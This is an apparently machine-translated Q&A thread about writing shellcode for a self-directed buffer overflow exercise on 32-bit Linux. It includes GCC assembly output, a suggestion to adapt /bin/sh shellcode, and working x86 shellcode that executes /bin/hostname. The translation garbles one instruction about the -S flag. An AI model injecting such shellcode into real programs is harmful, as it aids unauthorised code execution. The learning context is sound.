我试图在一个简单的C程序上执行Buffer溢出攻击,以获取一些有关其工作原理的知识。到目前为止,我有一个python脚本,其中有一堆\ x90s和返回地址,该地址指向保存一部分NOP底座的地址槽之一。我有可以打印主机名的代码,但它不是我写的,我也不理解代码本身。
我有个想法,我可以编写一个用uname -a打印主机名的C程序,我可以将其分解为汇编,然后将其转换为十六进制,但这使我很多码。这将使我对实际发生的事情有更多的了解,但是考虑到输出,感觉就像我做错了。
我将如何创建/生成仅用于此目的的shell代码,打印主机名??我正在使用Kali Linux 32位系统。
答案 0 :(得分:0)
您不必编写整个C程序然后将其分解。
您可以编写一个仅执行所需功能的简单C函数,然后要求GCC进行编译,但不使用-S
参数进行汇编和链接。
您还可以打开调试标志-g
,以便该程序集将具有一些调试数据,这将使其更易于阅读。
使用此示例代码:
#include <unistd.h>
void get_hostname() {
char buffer[100];
gethostname(buffer, 100);
}
如果这是hn.c文件的完整内容,则可以使用以下命令生成hn.asm文件:
gcc -S -g hn.c -o hn.asm
此文件仍将包含许多不需要的内容,但也将易于找到和清除所需功能的汇编:
.Ltext0:
.globl get_hostname
.type get_hostname, @function
get_hostname:
.LFB0:
.file 1 "hn.c"
.loc 1 3 0
.cfi_startproc
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
subq $112, %rsp
.loc 1 3 0
movq %fs:40, %rax
movq %rax, -8(%rbp)
xorl %eax, %eax
.loc 1 5 0
leaq -112(%rbp), %rax
movl $100, %esi
movq %rax, %rdi
call gethostname
.loc 1 6 0
movq -8(%rbp), %rax
xorq %fs:40, %rax
je .L2
call __stack_chk_fail
.L2:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
您可以将其传递给汇编器以生成所需的机器代码。
请注意.loc
伪指令:它们用于将汇编代码与原始C代码的行号进行匹配。您可以像调试器一样使用它们,以知道哪些汇编行代表哪一行C代码。
答案 1 :(得分:0)
您可以只使用简单的/ bin / sh shellcode并运行所需的任何命令。 这是一个简单的shellcode。 如果仍然只需要该命令,则可以更改在shellcode中输入的命令字符串(uname -a代替/ bin / sh)。
答案 2 :(得分:0)
这是我为x86
机器编写的shellcode。
Shellcode /bin/hostname
:
"\x31\xc0\x50\x6a\x65\x68\x74\x6e\x61\x6d\x68\x2f\x68\x6f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x50\x89\xe3\xb0\x01\xcd\x80"
组装:
global _start
section .text
_start:
xor eax, eax
push eax
push byte 0x65
push dword 0x6d616e74
push dword 0x736f682f
push dword 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0xb
int 0x80
xor eax, eax
push eax
mov ebx, esp
mov al, 0x1
int 0x80